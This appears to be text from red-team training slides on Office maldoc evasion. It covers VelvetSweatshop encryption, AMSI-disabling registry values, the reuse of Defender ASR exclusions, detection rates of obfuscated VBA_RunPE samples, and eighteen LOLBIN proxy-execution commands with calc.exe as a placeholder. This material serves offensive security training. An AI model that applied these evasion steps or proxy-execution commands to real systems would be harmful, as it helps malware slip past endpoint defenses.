» Excel always tries hardcoded password value of: VelvetSweatshop **

» PowerPoint (only .PPT + .PPS) always tries hardcoded password value of: /01Hannes Ruescher/01 *

» Example tool. Converts 2007+ doc into encrypted pre-2007: msoffice-crypt.exe

Office Files Encryption

Evasion Tactics » * https://twitter.com/BouncyHat/status/1308897932389896192
** https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-offcrypto/6b4a08cb-195a-442e-b31c-7c94624a8c29#Appendix_A_25

https://github.com/herumi/msoffice
https://twitter.com/BouncyHat/status/1308897932389896192
https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-offcrypto/6b4a08cb-195a-442e-b31c-7c94624a8c29#Appendix_A_25


» AMSI Evasion in Office documents is really tricky.

» Best strategy is to redesign our VBA code so that it not triggers AMSI rather than fighting it.

» AMSI triggered on VBA means Not-Advanced-Enough VBA ☺

» Evasion requires disabling/patching optics before running VBA. 

» Too late though, events were already observed

» Approaches:

» #1: Patching memory: weak, calls out to VBA imported WinAPI that are commonly monitored

» #2: Disabling AMSI in registry: OK, as long as the disabling code won’t get detected itself.

» HKCU\Software\Microsoft\Office\16.0\Common\security : MacroRuntimeScanScope := 0

» HKCU\Software\Microsoft\Windows Script\Settings     : AmsiEnable := 0

» #3: Documents in Trusted Path: great approach, as long as we find a way to quietly place them there.

» #4: Innocent COM functions: See Outflank blogpost

» #5: Non-Win32API / COM functions: See Outflank blogpost

https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/

https://github.com/outflanknl/Scripts/blob/master/AMSIbypasses.vba

Office Trusted Paths + AMSI Evasion

Evasion Tactics »

https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/
https://github.com/outflanknl/Scripts/blob/master/AMSIbypasses.vba


» MS Defender for Endpoint (MDE/ATP) uses 

Attack Surface Reduction rules 

being an artifact from old EMET.

» These rules attempt to thwart specific threats 

for specific client applications.

» Some of the more relevant rules for Initial Access:

Block Win32 API calls from Office macros

Block Office applications from injecting code into other processes

Block Office applications from creating executable content

Block JavaScript or VBScript from launching downloaded executable content

Block Process Creations originating from PSExec & WMI commands

Block execution of potentially obfuscated scripts

Block executable files from running unless they meet a prevalence, age, or trusted list criterion

Block executable content from email client and webmail

Block all Office applications from creating child processes

Defender ASR Rules 
& Bypasses

Evasion Tactics »



» MS Defender for Endpoint (MDE/ATP) is known to store its signatures and ASR rules in LUA/VDM database.

» Camille Mougey, Adam Svoboda and others showed us how they can be extracted & decompiled (see below commial/experiments link)

» These decompiled LUA ASR rules definition contains excluded paths and process, names – which we can reuse against Defender.

» Sources:

» https://www.youtube.com/watch?v=H3NDuvLqfwE

» https://adamsvoboda.net/extracting-asr-rules/

» https://github.com/commial/experiments/tree/master/windows-defender

» https://github.com/HackingLZ/ExtractedDefender

» https://blog.sevagas.com/IMG/pdf/bypass_windows_defender_attack_surface_reduction.pdf

Defender ASR Rules & Bypasses

Evasion Tactics »

https://adamsvoboda.net/extracting-asr-rules/
https://adamsvoboda.net/extracting-asr-rules/
https://github.com/commial/experiments/tree/master/windows-defender
https://github.com/HackingLZ/ExtractedDefender
https://blog.sevagas.com/IMG/pdf/bypass_windows_defender_attack_surface_reduction.pdf


» Test case: VBA_RunPE in XLSM, that spawns Beacon shellcode x86 (tests: 01.2021)

» Deliberately used VBA_RunPE as a notoriously dodgy VBA example

» Tampering = EvilClippy + VBA Purging + vbaProject.bin manipulations

» Sample #1. 17/63: Mild obfuscation with only symbols renamed

» Sample #2. 10/61: Full obfuscation

» Sample #3: 15/64: No Stomping, No Purging, only EvilClippy „hiding”

» Sample #4: 9/64: VBA Stomping + VBA Purging + EvilClippy „hiding”, no encryption

» Sample #5: 8/64: VBA Stomping + VBA Purging + EvilClippy „hiding” + VelvetSweatshop encryption

» Sample #6: 2/60: Really weird one: Mild Obfuscation + VelvetSweatshop (no Tampering)

» Sample #7: 0/60: Mild Obfuscation + custom-password Encryption + Tampering

Results

Evasion Tactics »



LOLBINS



» Prefer DLLs over EXEs

» Indirect Execution FTW!

» Microsoft Defender For Endpoint EDR has this ASR prevalence rule -> not that effective against DLLs

» DLL Side-Loading / DLL Hijacking / COM Hijacking / XLLs

DLLs >> EXEs

LOLBINs »



» Do not execute your dropped malware .EXE/.DLL directly

» In VBA macros, LNKs, MSI, persistence contexts, 

» System might be hardened to prevent/detect run of unsigned binaries

» Windows Application Whitelisting Policy (AWL), 

» AppLocker policies,

» MS Defender for Endpoint Attack Surface Reduction (ASR) Prevalence rule

» Strive for Indirect Execution (proxied) of your binaries 

» let MS Signed LOLBIN run it for you

Living Off the Land – LOLBINs

LOLBINs »



» I tested all the LOLBINs in a heavily monitored environment. Some worked, some not. 

» Here’s what I found:

» Roughly 18 LOLBINs were actually useful while weaponizing our Maldocs & intrusion WSH scripts.

» Most of LOLBINs/LOLBASes abuse uncommon binaries, existing only under special system installation (if Visual Studio installed or if 

MSSQL server installed, etc)

» We prefer MS signed binaries over third-party signed (AMD, Intel, etc).

» Selected LOLBINs effectiveness depends on system version, sometimes existence of target MS signed binary.

Living Off the Land – LOLBINs

LOLBINs »



» Beware: Microsoft uses Defender block rules preventing following binaries from being run

» Applied in hardened environments using MS Defender for Endpoint reinforced threat-driven executables blocking policy

» https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Living Off the Land – LOLBINs

LOLBINs »

https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules


Living Off the Land – LOLBINs

LOLBINs »

----------------------------------------
1) AppVLP64

%ProgramFiles%\Microsoft Office\root\client\appvlp.exe "C:\Windows\System32\calc.exe" ""

----------------------------------------
2) AppVLP86

%ProgramFiles(x86)%\Microsoft Office\root\client\appvlp.exe "C:\Windows\System32\calc.exe" ""

----------------------------------------
3) conhost

conhost.exe "C:\Windows\System32\calc.exe" ""

[ERROR] WARNING: Desk-scr LOLBAS runs only SCR executables: file.scr
----------------------------------------
4) Desk-scr

rundll32.exe desk.cpl,InstallScreenSaver "C:\Windows\System32\calc.exe"

----------------------------------------
5) dxcap

dxcap -c "C:\Windows\System32\calc.exe„

----------------------------------------
6) explorer

explorer.exe /root,"C:\Windows\System32\calc.exe"



Living Off the Land – LOLBINs

LOLBINs »

----------------------------------------
7) Ieadvpack

rundll32.exe ieadvpack.dll,RegisterOCX "C:\Windows\System32\calc.exe"

----------------------------------------
8) Pcalua

pcalua.exe -a "C:\Windows\System32\calc.exe"

----------------------------------------
9) Pcwutl

rundll32.exe pcwutl.dll,LaunchApplication "C:\Windows\System32\calc.exe"

----------------------------------------
10) remote

"%ProgramFiles(x86)%\Windows Kits\10\Debuggers\x64\Remote.exe" /s "C:\Windows\System32\calc.exe" xsixhHQnDLVogcF

[ERROR] WARNING: rundll32-shell-dll runs DLL files however EXE was possibly supplied. LOLBAS might not work.
----------------------------------------
11) rundll32-shell-dll

rundll32.exe shell32.dll,Control_RunDLL "C:\Windows\System32\calc.exe"

----------------------------------------
12) rundll32-shell-exe

rundll32.exe shell32.dll,ShellExec_RunDLL "C:\Windows\System32\calc.exe"



Living Off the Land – LOLBINs

LOLBINs »

----------------------------------------
13) Scriptrunner

Scriptrunner.exe -appvscript "C:\Windows\System32\calc.exe"

----------------------------------------
14) SyncAppvPublishingServer

SyncAppvPublishingServer.vbs "; Start-Process 'C:\Windows\System32\calc.exe'"

----------------------------------------
15) teams-update

%localappdata%\Microsoft\Teams\update.exe --processStart "C:\Windows\System32\calc.exe" --process-start-args ""

----------------------------------------
16) url

rundll32.exe url.dll,FileProtocolHandler "C:\Windows\System32\calc.exe"

----------------------------------------
17) wlrmdr

wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u "C:\Windows\System32\calc.exe"

----------------------------------------
18) zipfldr

rundll32.exe zipfldr.dll,RouteTheCall "C:\Windows\System32\calc.exe"



Appendix - Debrief



Appendix - Debrief

» VBA Macros should have no secrets for us by now!

» Evasions are only successful when stacked altogether.

» Hardly any specific trick kills detection, it’s the combination that thwarts it.

» Tomorrow is the Shellcode Loaders day! We’ll embrace EXE/DLLs ☺

» Again, get rest before Day3! Today was bumpy, but tomorrow is like rollercoaster ^.^



Q & A

Questions? ☺ 
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